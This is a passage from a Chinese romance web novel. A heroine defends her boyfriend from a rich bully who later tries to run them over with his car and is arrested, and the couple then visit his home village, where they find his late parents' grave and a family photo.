“等很久了吗?”白绯抬头看着他额头的薄汗,弯腰从中控室抽出一张纸巾,垫脚给他轻轻擦了擦。
祝临川温顺地微微俯下身方便她动作,一双眼眨也不眨地看着她:“没有,我也刚到。”
白绯被他这蹩脚的谎言逗笑。瞧这晒出的汗,怎么可能才刚到。估计一接到电话就跑这儿来等着了。
不过她也不拆穿祝临川,从中控室拎出一袋奶茶,从里面拿出一杯加冰的水果茶递了过去:“礼物。”
祝临川嘴角微扬,接过奶茶,隔着杯壁感受冰块的凉意。“怎么突然来学校了?”
白绯也捧着沁凉的水果茶嘬了一口,边兴致勃勃地打量着临博大学的大门,边随口糊弄道:“想你了呗~”
祝临川脸上的笑容扩大,显然被顺毛撸得很开心。从小时候起,每次有同学家长提着大包小包来探望,总会引起孩子们的羡慕。
他也羡慕,但他知道,老师喊出来的名字永远不会是他。今天白绯突然过来,竟不经意间也算圆了他多年的梦。
“带我进去转转,我还没来这儿逛过呢!”白绯撒娇地挽着他的胳膊摇了摇。
“好。”祝临川温柔地看着白绯,低低地应了声。
二人手牵着手,混在学生堆里正准备往里走,迎面却突然走过来四个流里流气的年轻人。
“哟,这不是我们的特困生嘛,这是在哪儿发财了,竟然也泡上妞了?”为首的年轻人一身高调的名牌,手里转着一把法拉利钥匙,拦住了二人的去路。
祝临川眉间风雨欲来,不爽地啧了一声。这人名叫陆子尧,和他同在法医系,家里有点小钱,不知怎么就盯上了他,总爱找他麻烦。没想到今天偏偏又遇上了他。
他不想节外生枝,拉着白绯的手就准备绕过去,却被边上一个染着七彩鸡毛掸子头的青春痘男生再次挡住了路。
鸡毛掸子男生调戏地冲白绯吹了声长长的口哨,一双闪着淫邪光芒的小眼睛上上下下打量着白绯,尤其在她裸露在外的皮肤上停留了格外长时间。他欠欠地笑了笑,道:“别着急走啊。美女,怎么这么想不开,找个孤儿做男朋友?”
“就是就是,美女,你看我怎么样?再怎么也比连学费都交不起的卢瑟强吧?”
两个小弟也跟着起哄,他们的动静太大,有不少路过此处的学生闻声都朝这边投来了视线。
祝临川的脸色阴沉得可怕。他从前从未因自己的出身而觉得自卑,今天却因为害白绯也沦为笑柄而难以抑制心中的怒火。
鸡毛掸子自以为帅气地理了理头发,伸出手来就要捏白绯的下巴:“怎么,美女看不上我们哥几个?留下来玩玩嗷~!”
随着一身撕心裂肺的惨叫,鸡毛掸子夹着腿缓缓瘫倒在了地上。
白绯淡定地收回了脚,很满意自己的功夫并没有落下。她安抚地拍了拍祝临川的手,在其他人龇牙咧嘴的表情下淡定地开了口:“就你那月球表面的脸,肾虚的竹竿身材,也配和我们临川比?怎么,家里没镜子吗?”
陆子尧嘴角抽搐,感觉自己的裆部也在隐隐作痛。他停下了把玩钥匙的手,终于正眼看了看白绯。
若说他一开始还只是单纯想找茬才凑上来,现在却是真的对白绯起了兴趣。好特别的女人,和一般柔柔弱弱的女孩完全不同,够辣,带劲。
尤其还是祝临川这个死对头的女人,这个墙角撬起来就更带劲了。
陆子尧正了正神色,手里勾着法拉利钥匙就递了过去:“美女,交个朋友,去兜风吗?你这样的绝色美人,跟着这样的穷鬼,实在是鲜花插在牛粪上了。”
说完,他又挑衅地看了祝临川一眼,完全没有当面说人坏话的心虚。陆子尧也不知道为什么,他从进学校就起,就和这个沉默寡言的贫困生杠上了。
也许是因为这人从来没有因为贫穷而对自己卑躬屈漆?也许是因为身边的人总是用崇拜的语气讨论祝临川?明明自己有钱有势,却偏偏被这么个没爹没妈的孤儿抢了风头。
陆子尧满脸的志在必得,却没想到白绯却不按常理出牌。
她勾了勾唇,意味深长地笑道:“姐姐我不差钱,平生就一个爱好,喜欢活好的帅哥。你哪样都不占,就别来碍眼了。”
陆子尧几乎立刻就红温了。他张嘴就想反驳,白绯却作势又抬起了脚。
陆子尧条件反射就捂住了裆部,面色惨白地退了几步。毕竟有鸡毛掸子这个前车之鉴还瘫在地上呢。
“滚远点,小心让你变成公公,省得一天天地火气这么大。”白绯狠狠瞪了陆子尧一眼,阴险地笑着威胁道。
说完,她也不管陆子尧气急败坏的脸,自顾自拉着祝临川走了。好好一场观光,喝着冰饮牵着帅哥小手多有意思,何必和这样的垃圾人牵扯。
二人在学校里闲逛,看着这些青春洋溢的少年男女,白绯只觉得自己仿佛都变得年轻了。
看看这些孩子,眼神多么清澈又愚蠢。这让老社会人感觉尸体都变得暖暖的了。
然而祝临川的情绪却一直不高,他第一次怀疑起了自己。自己要什么没什么,真的能把白绯留在身边吗?就算勉强留下了她,自己又能否给她幸福?
白绯并没有注意到他的情绪,此刻她正坐在湖边的长椅上逗小狗。
这是只流浪小土狗,毛色乌黑。虽然没有主人,但看起来混得不错,小肚子吃得滚圆,和个煤气罐罐似的。
白绯伸手压了一把它的绒毛,很好,实心的,看来不是虚胖。
小黑狗似乎和祝临川很熟,一直冲他摇着尾巴,嘤嘤地哼唧着。
“这小可爱有主人吗?”白绯挠着小黑狗的下巴问道。
“没有。”祝临川定了定神,也蹲了下来,揉了揉小狗的脑袋,解释道,“小黑是学校里的流浪狗,我之前在学校食堂里工作过一段时间,会带剩饭剩菜过来给它。”
当时一人一狗就这么坐在湖边,都是被世界遗弃的小可怜。
白绯却道:“哇,那你同学可真有福气,有没有偷偷贿赂你,让你打菜的时候别手抖?”
祝临川笑着点了点头。
白绯双手捧着小黑的脸揉搓,似乎是思索了一会儿,突然对着小黑认真地问道:“愿意和我回家吗?不愿意的话就说声不。”
小黑歪着脑袋看她,黑溜溜的大眼睛显得很无辜。
“没说话就是默认。哈哈,流浪狗的花语是手慢无,你是我的喽~”白绯很开心,她一把抱起小黑揣进怀里,对祝临川笑道,“这
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下你们两个好兄弟就又团圆啦!”
祝临川定定地看着白绯,笑了。
正好接下来祝临川也没课了,二人一狗便又开始慢悠悠地往回溜达。
夕阳西下,这一幕仿佛三口之家,让祝临川的心都跟着软了。
眼见着停车场入口就在前面了,白绯一边低头从包里掏车钥匙,一边嘴里还在念叨着:“回去得给小黑买狗窝狗粮,该打的疫苗也不能落下,啊!还是先洗个澡吧,别洗完了小黑变成小白…”
祝临川含笑听着她碎碎念,然而就在这时,一阵引擎的轰鸣突然炸开,撕破了眼前的岁月静好。
祝临川的后脖颈瞬间绷紧,瞳孔紧缩。
黄色法拉利车前刺目的氙气大灯正对着他们,挡风玻璃后是陆子尧那张扭曲的脸。
“轰…”
随着油门撕裂空气的嗡鸣,车子朝他们疾驰而来。在意识反应过来前,祝临川已经伸手推开了白绯。然而他自己却愣在原地,呆呆地看着车子呼啸着朝他撞来。
然而白绯的反应也很快,她在被祝临川推得踉跄后退时就果断伸手反抓住了他的胳膊,二人扑通一声摔倒在了路边的绿化带里。
“嘶…”尖锐的树枝划伤了白绯的脸和胳膊,她阴沉着脸看着那辆法拉利擦过二人,扬长而去。
小黑被挤在两人中间,险险被压成一个狗饼。它从白绯怀里跳出来,焦急地舔着祝临川和白绯的脸。
白绯揉了一把它的狗头权做安慰,扭头扶着祝临川的脸,却发现他面色苍白如纸,脸上都是冷汗,仿佛被噩梦魇住一般。
“临川?”白绯心道不好,着急地呼唤着他的名字,却没有得到回应。
此时的祝临川已经听不见她的声音,只觉得耳膜嗡嗡作响。
当年父亲和母亲就是这样被碾压,然后失去生命的吗?自己差点又要再一次失去白绯了吗?
他浑身控制不住地颤抖,眼前黑黑白白,什么都看不清了。
就在这时唇上一热,伴随着白茶花的香气,终于又唤回了他的理智。原来是白绯吻了上来。
她爱怜地亲了亲祝临川的脸,摸了摸他的后脑,手法与刚才撸狗时一模一样。
“我没事,临川,你别害怕。”她看着祝临川的终于回神,柔声道:“你先起来,我看看你有没有受伤?”
祝临川还有些没缓过来,一个指令一个动作,呆呆地坐在花坛边上任由白绯上下检查自己的身体。
小黑很聪明,也学着祝临川的样子,乖乖蹲坐在边上,抬着前腿等白绯给它检查。
白绯捉住它毛绒绒的前腿摇了摇,捉住它把它塞进了祝临川的怀里。
她蹲下,认真地看着祝临川,道:“原本我想再缓两天,等我先做些调查,但是现在我不想等了。临川,我们现在就出发吧,回你的家乡,重新走一遍你的父母曾经走过的路。”
祝临川抱着怀里的小黑,委委屈屈地看着白绯,仿佛自己又回到了三岁那年,那个失去了庇护,孤苦无依的孩子。
“好。”他向前俯下身,把头埋进了白绯的怀里。
白绯感觉到自己的脖颈上仿佛有湿热的液体流下,烫得她脸上都飞起了薄红。
然而在这之前,她还有件事要做。
白绯掏出手机,按下了熟悉的电话号码。
“喂,我要报警,有人在临博大学门口驾车撞人后逃逸。车牌号是XXXXXX。”
还以为现在是旧社会呢?让我们国家大大来教你做人吧!
33. 近乡情更怯
陆子尧离开的时候有多嚣张,回来的时候就有多狼狈。
警察同志效率很高,白绯和祝临川才刚验完伤,骂骂咧咧的陆子尧就已经戴着银手镯进了局子。他看到坐在调解室里的二人后面露不屑,嚣张地从口袋里掏出一张黑卡甩在桌上。
“怎么,以为找警察有用?就算杀了你们老子也赔得起。两条贱命,说吧,要多少?”
白绯被他这番豪言震撼,真诚地发问道:“是谁给你的勇气?梁静茹还是李刚?”
边上的警察同志还是第一次被人这样贴脸开大,额角青筋直蹦。他把人重重摁在椅子上,嘴里怒斥道:“发什么疯,给我态度放端正点!”
祝临川从椅子上站了起来,看起来很想直接一拳揍上去,却被白绯搂着胳膊拦住了。开玩笑,有她在,能让前途无量的小童工干出当着警察的面斗殴的事?打赢了坐牢,打输了住院,现在他们占理,又有陆子尧自己上赶着作死,何必出手惹一身骚。
于是她也不搭理陆子尧的挑衅,只慢条斯理道:“警察同志,您也看见了,这种视人命如草芥的态度,我们是不可能和他进行调解的,请您务必依法处置他。”
陆子尧依然一副死猪不怕开水烫的模样,叮呤当啷地敲着手铐,阴阳怪气地嗤笑了一声:“哟,准备怎么处置我,罚款罚死我吗?”
白绯啧啧称奇:“还是第一次碰见有人这么要求的。警察同志,他这么不服,必须满足,罚他个千百亿,也算为国家做贡献了。”
警察同志看起来也很心动,他干咳一声,艰难地拒绝了这个诱惑,柔声解释道:“白小姐,虽然建议很好,但是我们还是得按照规矩办事的。”
语气听起来很是惋惜。
陆子尧噎住了一瞬,色厉内荏地哼了一声,总算收敛了些,没再说话。
白绯大声和祝临川窃窃私语:“这人怎么考进的临博大学,法盲得我都要对他心生怜悯了。”
祝临川咬了咬牙,解释道:“钞能力。”
白绯恍然大悟地拍了拍手,道:“好想劝他去创业证明自己。”
陆子尧没听出白绯话里的恶意,还以为是在恭维自己,得瑟道:“我当然会去创业,你以为我和你们这些牛马一样,毕业后只能苦哈哈地给老板打工吗?要是你们现在给我磕头认错,我就给你们在公司里留个保洁岗位,免得你们毕业就失业,连饭都吃不上,怎么样,这买卖划算吧?”
“这福气你自己留着吧。”白绯无语地翻了个白眼。
边上的民警也窝了一肚子火,斥责道:“先把你该接受的处罚受了吧。行政处罚包括吊销驾驶证和罚款,另外你的行为还涉嫌交通肇事罪,需要承担刑事责任,可能处3年以上有期徒刑。”
说完他也不管陆子尧不断瞪大的双眼,向白绯建议道:“白小姐,如果你们不准备接受调解,可以去法院起诉向他提出经济赔偿。”
白绯不怀好意地笑了笑,道:“谢谢您的提醒,这是自然的。医疗费、误工费、精神损失费...这些自然一个都不能少。”
白绯特意强调重读了最后一个费用,现在她的律师正在替她处理和罗峻辉的离婚诉讼,正巧把这桩官司也交给他,官司多了不压身。虽然不一定能要到多少钱,但恶心恶心陆子尧也是足够了。
“你们敢!....”陆子尧显然没想到今天自己的钞能力不起作用,竟然碰到两个比自己还头铁的。毕竟大多数人都耗不起那个精力与金钱去打官司。
其实若是换成上辈子的白绯,她也许也会选择拿点好处就算了。成年人就是这么现实,一句对不起和十万块,如果选前者她自己都觉得自己太装了。
但是偏偏她如今穿成了有钱有势的大小姐,身边还有个被人欺负的小可怜,那可不得支楞起来,好好享受金钱与权势带来的底气。
二人没再管无能狂怒的陆子尧,告别了警察同志后就离开了派出所。小黑乖巧地蹲在后座等着他们,看到他们回来后开心地扒着车窗缝隙直摇尾巴。
“我们先回趟公司,让我爸妈帮忙带几天小黑。”白绯打开车门,把小黑抱在怀里撸了一把狗头,转头冲祝临川笑道:“然后我们就立刻出发H乡。”
白绯只和白父他们说自己要和祝临川出去旅游。其他人也没多想,只嘱咐他们注意安全,好好玩。
于是他们就直接坐上了当晚的火车,祝临川直到坐进火车车厢时都还有些神思恍惚。原来,只要订下一张火车票,就能回到梦中的家乡吗?
祝临川离开家乡已经有十余年了。在他五岁时,罗峻辉考上了A市的高中,祝金花便带着罗雪梅搬了家。原本他们是想把祝临川直接扔在老家的。反正该搜刮的财产都被她刮干净了,再留着这个小拖油瓶也没有价值了。
然而临到出发,祝金花又担心做得这么明显会被村里人嚼舌根,最终还是选择带上了他。到了陌生的城市后,罗雪梅被祝金花逼着辍学,去外面打工供养罗峻辉,而祝临川则被她勒令去街上要饭。
也是因祸得福,这么小的孩子在街上捡纸板空瓶,又穿得破烂长得瘦小,引起了好心人的注意,联系媒体曝光后得到了妇联的注意。祝临川这才不至于饿死街头,甚至还有机会直接在A市上了学。
这么天大的好事祝金花自然是不愿意让这拖油瓶占了的,可是她贪图政府给祝临川的补助,这才不情不愿地点头同意了。
祝临川也是乖觉,他虽然小,却不傻,直接选择了寄宿制学校,就这么半工半读一路熬到了现在。他每天都疲于奔命,只想着能早点摆脱祝家,从此能一个人清净生活。
其实后来,他也有能力自己回去了,但是却始终没有订下那一张小小的车票。有家人的地方才是家,既然家人已经不在,回去又还有什么意义呢?
而且当初祝金花做的绝,告诉他父母的骨灰已经被扔进了火葬场的垃圾桶。而父母的房子也在后来被她霸占,推倒重建了。
就算他回去,又还有什么可看的呢?
然而这次,设想中的未来亲人却陪他踏上了寻找曾经的亲人的路。
这是一趟绿皮火车,有且只有这一趟车能够到达H乡。车上有很多扛着扁担的农民,箩筐里装着卖剩下的蔬菜水果,鸡蛋药草,甚至还有一些手工艺品。他们把这些东西挑去A市,卖给那些追求有机和绿色的城里人,好凑点钱给娃娃交学费,或者给家里人添置点电器。
祝临川一开始还怕委屈了白绯,毕竟她是城市里长大的孩子,想来还从来没和活的鸡鸭鹅一起挤过火车。
然而没想到白绯却很自在,她葛优瘫在座位上,眼疾手快地掐住了过道上准备啃她头发的大鹅的嘴巴,对着大鹅肥硕的胸部咽了咽口水:“还挺肥。想吃铁锅炖大鹅了。”
大鹅的主人是个一脸褶子的大爷,他一把抓住大鹅的脖子给白绯全方位展示了一遍,热情地推销道:“闺女,山里散养的大鹅,味道可比吃饲料长大的好多了,来一只吗?”
大鹅垂着脚掌一动不动地装死。
白绯很心动,只可惜和这鹅相逢在错误的时间。她爱怜地摸了把鹅头,遗憾地拒绝了大爷的订单邀请:“大爷,我要去H乡
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旅游,带着鹅不好走。”
大爷闻言便撤回了大鹅重又塞进筐里,嘴里惊讶道:“俺就是H乡人,那里又没什么好玩的,一个破烂村子,只剩下俺们这些老不死的了。”
白绯便指着祝临川解释了一句:“我朋友是H乡人,我陪他回家乡看看。”
大爷眯着眼睛看祝临川,又从怀里掏出副断了腿的老花镜戴上,嘴里嘟囔道:“哦?H乡的娃子可没俺不认识的。小伙子,你家大人是谁?”
祝临川嘴角紧紧抿着,看起来很紧张:“祝之荣,方芹。”
没想到话音刚落,大爷就认出了他。他激动得大力啪啪拍着祝临川的胳膊,欣慰地上下打量着他,嘴里连声道:“好小子,竟然长这么大了。老头子刚才就觉得你眼熟,没敢认,没想到那么小一个奶娃娃也长成帅小伙了。”
这惊喜来得突然。白绯原本都做好了挨家挨户打听的准备,没想到竟然一上车就遇到了认识祝家夫妻的人。
“大爷,您认识?”
“那是自然。”大爷擦了把眼角的泪,回忆起了从前:“细看你真是和方芹妹子长得一模一样,只有眼睛不像,眼睛像小荣,独一份的颜色。”
确实,祝临川眸色浅淡,和寻常人的瞳色不一样。此刻,那双凌厉的眼眸中充斥着复杂的感情,他问道:“您…您能和我说说我的父母吗?”
正好此时火车到站,大爷便招呼他们和他一起走:“这可就说来话长了。你们和俺一起回家吧,我们回去说。”
祝临川便帮着老人提起扁担,白绯则抱着那只大鹅,三人一起下了车。大爷在火车站门口停了自家的电动三轮车,他们二人就坐在车兜子里,在迎面的大风中逐渐越走越偏僻。
脚下的路慢慢变窄,地上坑坑洼洼很不平整。在白绯都快被颠吐的时候,车子终于驶进了一个村落。
村子里确实如大爷所说,非常冷清,只有情报组正端着饭碗聚在村口,十几个人加一起也凑不出一口牙。
"哟,老李头,你这是带着哪家的孩子回来了,长得可真俊俏!”
“结婚了没,我家还有个18岁的闺女..."
"还有我家,26岁的壮小伙,现在在城市里挣大钱呢!”
还没等大爷说话,白绯就一把搂住祝临川的脸啵了一口,大笑着和村民说:“叔叔阿姨,可不兴棒打鸳鸯的啊!”
狂风吹起她的长发,像鞭子似的甩在祝临川的脸上。祝临川却在扑鼻的白茶花香气中笑了。
“哎哟,原来是一对儿啊!”
村民们惋惜地尬笑,被三轮车慢慢甩在了身后。
“大爷,我们什么时候能到啊!”白绯呸呸吐出被风吹进嘴里的长发,撑着车兜对着大爷的耳朵狂吼道。
“快了!”大爷头也不回地喊道。
车子最后停在了一间破破烂烂的平房前,房子后是一大片圈舍,里面搭着很多个草棚。屋后则是一片茂密的山林,此时正有大群的鸡鸭鹅排着队从山上下来,然后顺着敞开的木栅栏往草棚里溜达。
白绯看着啧啧称奇,和怀里的大鹅对视半晌,正想把它放它和同事团聚,大爷却挥着手阻止了她:“别放了,今晚我们宰了它做铁锅炖大鹅。”
最终还是没逃过铁锅的大鹅命丧黄泉,在灶台上发出诱人的香气,把白绯馋得直流口水。
祝临川却没什么心思吃,正想着怎么开口询问老人关于父母的事情,老人却把柴火往灶膛里一塞,擦着手进了屋。
等他从屋子里出来,二人就见到他手里拿着一本厚厚的相册。
34. 意外之喜
“这是?!”
祝临川猛地站了起来,双眼紧紧盯着那本泛黄翘边的相册簿,耳边都是自己疯狂鼓动的心跳声。
李大爷在小板凳上坐下,熟稔地翻开册子,最后停在位置靠前的一页上,然后递给了祝临川,示意他看。
祝临川双手微微颤抖,几乎是屏着呼吸接过了相册,视线立刻胶着在了照片上那一双男女身上。
眼泪模糊了他的视线。时隔多年,他终于再见到了双亲的模样。李大爷说的不错,他真的和母亲长得很像,也有一双父亲的眼睛。
照片上,父亲搂着母亲站在一间熟悉的平房前,母亲的手则扶着微微隆起的小腹,冲镜头笑得快乐又幸福。
“那年俺儿子回家乡,带回来台照相机。小荣和方芹妹子平时一直很照顾俺们一家子,俺儿子就特意给他们在屋前头拍了张全家福,准备回市里打印出来后再带回来。没想到后头工作忙,一直没机会再回村。"
李老爷子抹了把脸,叹了口气后继续道:“他们两口子出事的时候,俺们老两口都在市里带孙子,等后来回来,才知道好好的两个人,说没就没了。俺原本是想收养临川的,只可惜晚了一步,祝金花已经带着你离开了。”
他欣慰地拍了拍祝临川的肩膀,感叹道:“幸好,你如今也是出息了,你爹娘泉下有知,也能放心了。”
白绯看了眼低头不语的祝临川,把时间留给了他们两个故人独处。
她溜达到平屋后头,此时天色已黑,月光像银纱般洒在鸡舍与山林之间,天上繁星点点,是在城市里难得见到的美景。
白绯伸了个懒腰,蹲在竹篱笆前,伸出手指逗弄起一只鹅黄色的小绒球。
小鸡仔困得睁不开眼,挤挤挨挨在她掌心,蹭得她的掌心又暖又痒。
山风掠过屋后的树林,树叶的沙沙声混合着不知名昆虫的鸣叫。
白绯替祝临川感到高兴。
遗忘才是真正的死亡,他如今重又找回父母的过去,也能让他的思念得到寄托了。
她出了会神,直到露在短袖外的胳膊察觉到阵阵凉意,才准备回去。
结果才刚站起来,眼前却有道影子突然从屋后的歪脖子树下钻出来,把她唬了一跳,手中下意识捏紧,差点直接给小鸡仔爆浆。
白绯连退几步才堪堪站稳,定睛一看才发现原来是祝临川。
“呼…原来是你啊。怎么也不出声,吓死我了。”白绯大大松了口气,检查了下手里的鸡仔,和它的黑豆眼面面相觑。
看来是安然无恙。
白绯拍拍自己扑通狂跳的心脏,疑惑地抬头问道:“怎么了吗?”
祝临川双手扶着白绯的肩膀,双眼亮得惊人,声音带着难掩的激动,“李叔说,当年他家老爷子留在村里,正好看到祝金花把我父母的骨灰罐扔进了河沟。他老人家不忍心,就又悄悄捡了回来,做主埋在了他们故居旁的林子里。”
“白绯,我父母还在,没有被扔掉...”失而复得的喜悦,让一向沉稳的祝临川都有些失态。当他得知这个消息后,脑海中的第一个想法就是来找白绯,和她共同分享自己的喜悦。
白绯也很惊喜,她反手抓住祝临川的胳膊,笑着催促道:“那还等什么?在哪儿?我陪你一块去!”
闻言,祝临川却很意外。他原本只是想来和白绯知会一声,之后便打算独自前去。结果没想到白绯不仅不嫌弃,还愿意陪着他。
“你不害怕吗?”大半夜的,去废弃的旧屋找一座荒坟,不会嫌晦气吗?
白绯笑得坦荡:“你小子,可别小瞧我啊,我是谁啊!更何况,他们是你的父母,又有什么可怕的呢?”
在外人看来可怕的尸体与枯骨,却是亲人求之不得却无法再触碰的存在。在外人看来可怕的灵异事件,却是亲人心心念念期盼的在天之灵。
“嗯!”
祝临川重重点了点头,他左手提着李老头给的一台手电照明,右手则紧紧牵着白绯的手,二人行走在陌生的乡间小路上,心情却都很雀跃。
村子里地广人稀,村民的宅子间都隔得很远,中间是大片整齐的田地。幸亏有李老头事先指明方向,他们因此很顺利地就找到了地方。
眼前的平房早已不复当年的模样,只剩下些残垣断壁。当年祝金花嫌晦气,准备将房子尽数推倒后重建。房子已拆了大半,却没想到罗峻辉考上了A市的高中,一家人便匆匆搬离。
祝临川绕过破败的小院继续往前走,果然在林子入口处看到了一处凸起的小土包,上面有一块简易的墓碑,是李老头回来后立的。
明明父母的墓就在眼前了,祝临川的脚步却在这一刻变得十分沉重,几乎是踉跄着往前走了几步,然后就直直跪在了地上。
“爸,妈!临川…回来了!”
祝临川泪眼婆娑地抚摸着眼前的墓碑。李老头告诉他,母亲是隔壁村的姑娘,和父亲在一次乡村大集中一见钟情,就那么顺理成章地在一起了。他们夫妻俩在村里人缘很好,看见谁家需要帮忙,都愿意搭把手。大家都喜欢这对热情开朗的年轻人。
他们离开得太早,祝临川又太年幼,突逢巨变,身体仿佛启动了应急保护程序般,让他将昔日的一切忘了个干净。
然而随着今天这张照片,记忆的屏障终于打开了一个巨口,昔年的点滴隔着时间的洪流再次浮现在脑海中。
祝临川伸出手轻轻摸了摸墓碑,经过多年的风吹雨打,上面的字迹都已经模糊。但坟包附近却没有杂草,显然有人常来祭扫。
“我小时候特别爱吃蘑菇。每到雨后,父亲和母亲就会带着我上山。我坐在父亲背上的箩筐里,母亲在边上牵着我的手,教我辨认哪些是可以吃的,哪些是有毒的。”
“父亲不懂蘑菇,却擅长捕猎。总能找到掏到鸟蛋,还会捕鱼抓虾。母亲会用蘑菇和鱼一起炖汤,我们一家人就坐在小院子里喝一碗热乎乎的汤…”
祝临川的声音哽咽,他将头抵在墓碑前,低低道:“儿子不孝,竟来得这么晚。”
白绯的眼睛也有些湿润,她不知道该说什么,只好静静地陪着他。
祝临川缓了好一会儿,情绪才慢慢平复下来。他有些不好意思地擦了擦眼睛,突然语出惊人:“我想给父母迁坟。”
白绯吃了一惊,却很快反应过来,问道:“迁回A市?”
“嗯。”祝临川点点头,转头看着白绯,眼睛红红的。“我不放心他们留在这里。万一祝金花回来发现…”
白绯被他这副脆弱又坚强的模样勾得心痒痒的,干咳一声在心里唾弃自己,勉强恢复正经的样子,点了点头表示赞同。
祝临川的担忧是正确的,毕竟有些人的坏确实突破人的下限。
“我想把他们带回A市,在公司的墓地里挑个好地方。”
“好啊!”白绯欣然赞同,她蹲下身,对着小小的坟头郑重道:
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“叔叔阿姨,你们好。我是临川的朋友,我叫白绯。以后我们就能经常见啦。”
祝临川偏头看着认真和坟包打招呼的白绯,眼神温柔缱绻。
轻柔的夜风吹过,草丛中的萤火虫犹如点点星光,绕着二人打转,就好像是祝之荣夫妻对他们的回应。
“咕噜噜~”突然一声响亮的鸣叫打破了此时的寂静。
白绯羞红了脸,捂住了自己的肚子,不好意思地笑了笑。还没吃晚饭,她的肚子饿了。
祝临川的情绪也已经平静下来,他直起身,微笑地冲白绯伸出手:“我们走吧,李大爷在等我们。”
白绯也笑着把手放在他摊开的掌心之上,感觉此刻的小童工像是卸掉了经年的遗憾,浑身都透着一种如释重负。
等二人回到老李头的平房时,果然见老人家正站在门口翘首以盼。
大鹅早已炖得软烂入味,锅边沿还贴着一圈金黄的玉米饼,烤得焦香酥脆。
李老头又从地窖里搬出了一坛子自家酿的米酒,酒水带着粮食的清香,入口回甘。
“自家酿的酒,度数不高,放心喝吧。”老李头很高兴,倒了满满三大碗。
他的子女后代都在市里,父母和妻子也相继病故,平时只有他一人守着这老房子,与鸡鸭鹅相伴。
如今,多年未见的故人之子再次重逢,小屋里也难得的热闹,他心中高兴,望着两个年轻人的眼神充满了喜爱与欣慰。
三人就着铁锅边喝酒边吃鹅,最后竟将一锅子肉吃得干干净净。
酒足饭饱,白绯很快就感觉到了困意。她只记得自己前一秒还在和祝临川说话,下一秒就失去了知觉,人事不省了。
等醒来时,白绯发现自己正躺在一间干净的平屋内,而自己的腰间还横着一条筋骨结实的臂膀。白绯侧头看去,果然看见了祝临川熟睡的俊脸。
明媚的阳光透过玻璃窗照进屋内,床头柜上还摆着一家三口的照片,其中的年轻男人与李老头的五官十分相似,想来是李大爷如今定居在市里的儿子儿媳一家。
左右无事,白绯便瘫在床上放空自己,正有点迷迷糊糊要睡个回笼觉的时候,裤兜里突然传来一点微弱的动静,像是有什么东西要钻出来。
白绯吓了一跳,第一反应就是把裤子脱下来,然后远远扔到了地上。
地上的裤子被顶起了一小团,并且开始疯狂挣扎。
什么鬼!
白绯被惊得瞌睡全无,正好看见床头地上支着一根晾衣杆,果断伸手拿着杆子,跪趴在床上伸长了胳膊去挑地上的衣服。
于是当祝临川幽幽醒转时,就看见美人微微塌陷的后腰与饱满挺翘的臀部。白皙的长腿交叠,雪白的软肉在阳光下几乎散发着珍珠般的柔光。
他脸红了红,轻轻咳嗽了声:“这是在别人家,不太好吧。”
嘴上说着不太好,手却已经很老实地摸了过去,在那凹陷的腰窝处流连。
白绯被摸得抖了抖,回过身拉过祝临川的手就把晾衣杆递进了他手里,连声道:“我裤子里好像有东西!”
祝临川下意识低头去看白绯的腹部,又被她捧着脸转向了地面,又好气又好笑:“哎呀,是地上那条!不是我身上这条!”
祝临川这才发现地上鼓动的衣物,神色也冷肃起来。
他把白绯护在身后,伸长了胳膊用杆子一下就把裤子挑了起来,露出了在里面乱动的罪魁祸首。
35. 人民碎片
“唧唧!”
随着裤子被晾衣杆挑开,下面露出了一团暖黄色的绒毛,上面还嵌着两只米粒大的黑豆眼,可不就是昨天在鸡舍边逗的那只小鸡崽吗?
“怎么是你啊?”白绯哭笑不得,泄力跪坐在床上,侧身倚进了祝临川的怀里。
祝临川把晾衣杆放回床头,回手搂住她,让她靠得更舒服点。
小鸡崽浑然不知自己差点让从来不信鬼神的白绯道心破碎,摇摇被砸晕的脑袋,看清方向后就迈开两条小短腿唧唧叫着跑了过来。奈何腿太短,整个鸡都还没床腿高,只能扑扇着两个小翅膀在下面着急地蹦跶。
白绯看它可爱,便伸手将它捧了起来,放到了床上。
小鸡崽上了床后就直奔她而来,靠着白绯垂落在腿边的手心里,安心地炸成了一团毛绒球。
“这么喜欢我啊?”白绯笑着轻轻捏它的小翅根玩,小鸡崽歪头用殷红的小嘴啄着她的手指抗议,痒痒的,不疼。
这边正逗着呢,结果没想到跪坐着的腿上又放上来一个脑袋,是祝临川。
他面朝白绯腹部躺在她怀里,双手紧紧箍着她纤细的腰肢,温热的吐息拂得她小腹发紧。
“我也喜欢你。”祝临川依赖地把脑袋往里埋了埋,声音闷闷的,露在外的耳垂通红。
大清早的,一米九八块腹肌的大帅哥躺怀里撒娇表白,这谁受得了。白绯色令智昏,当即就捧着他的脸吻了上去,二人唇齿相依,难舍难分。
祝临川反客为主,搂着白绯的细腰将人摁在了自己结实的大腿上,用力之大,仿佛要将人揉进自己的骨血里。
“好...好了。”白绯艰难地退开,偏头低低地喘息着。她推开好奇地打量着二人的鸡崽,莫名羞耻。
祝临川却穷追不舍,湿热的吻沿着脖颈一路向下。舔得白绯头皮发麻,筋骨酥软。
“回去再说。”白绯按住他的肩膀,将人推开了些。她自然也察觉到了屁股底下剑拔弩张的东西,只是这到底是在别人家,也只能先忍着了。
二人又温存了一会,便起床洗漱。
村里空气很好,也比城市里要凉快。白绯站在李老头屋前头伸懒腰,此处地势相对较高,远远看到不远处竟还有条河。
祝临川去和李老头商量给祝父祝母迁坟的事了,白绯左右无事,索性折了根树枝,又问李老头要了卷线,掰弯了一枚绣花针作鱼钩,兴致勃勃地去河边钓鱼了。
出发前,她将小鸡崽放回了鸡舍,结果没想到小家伙却不愿离开,一路紧跟着她不放。
一人一鸡穿过林子,向着河边进发。白绯一边啃着李大爷给她煮的玉米,一边掰下玉米粒喂鸡崽,不一会儿就到达了目的地。
走到近处才发现河水既深又宽,水质也不错。
白绯把啃得差不多的玉米棒子扔在一边给小鸡崽,又拿出小锄头在河边林地里现掘了些蚯蚓,一半扔给小鸡崽加餐,一半则留着做饵。
许是这地方偏僻,河里的鱼长得肥,且都不太聪明的样子,轻易就有好几条大肥鱼上钩。
白绯一条又一条正钓得兴起,没想到远远竟来了个拎着大包小包装备齐全的钓鱼佬。
钓鱼佬看到白绯,眼睛一下就亮了,双眼放光地朝这跑了过来。
荒山野地,突然碰到一个陌生男人,白绯下意识提起了戒心,毕竟防人之心不可无。
然而没想到男人的目光只直直盯着白绯的破水桶,满眼都是对鱼获的渴望。
在看到里面大半桶的鲫鱼和黑鱼后,他满意地点了点头,在离白绯不远处的岸边落座,开始慢悠悠地往外掏东西。
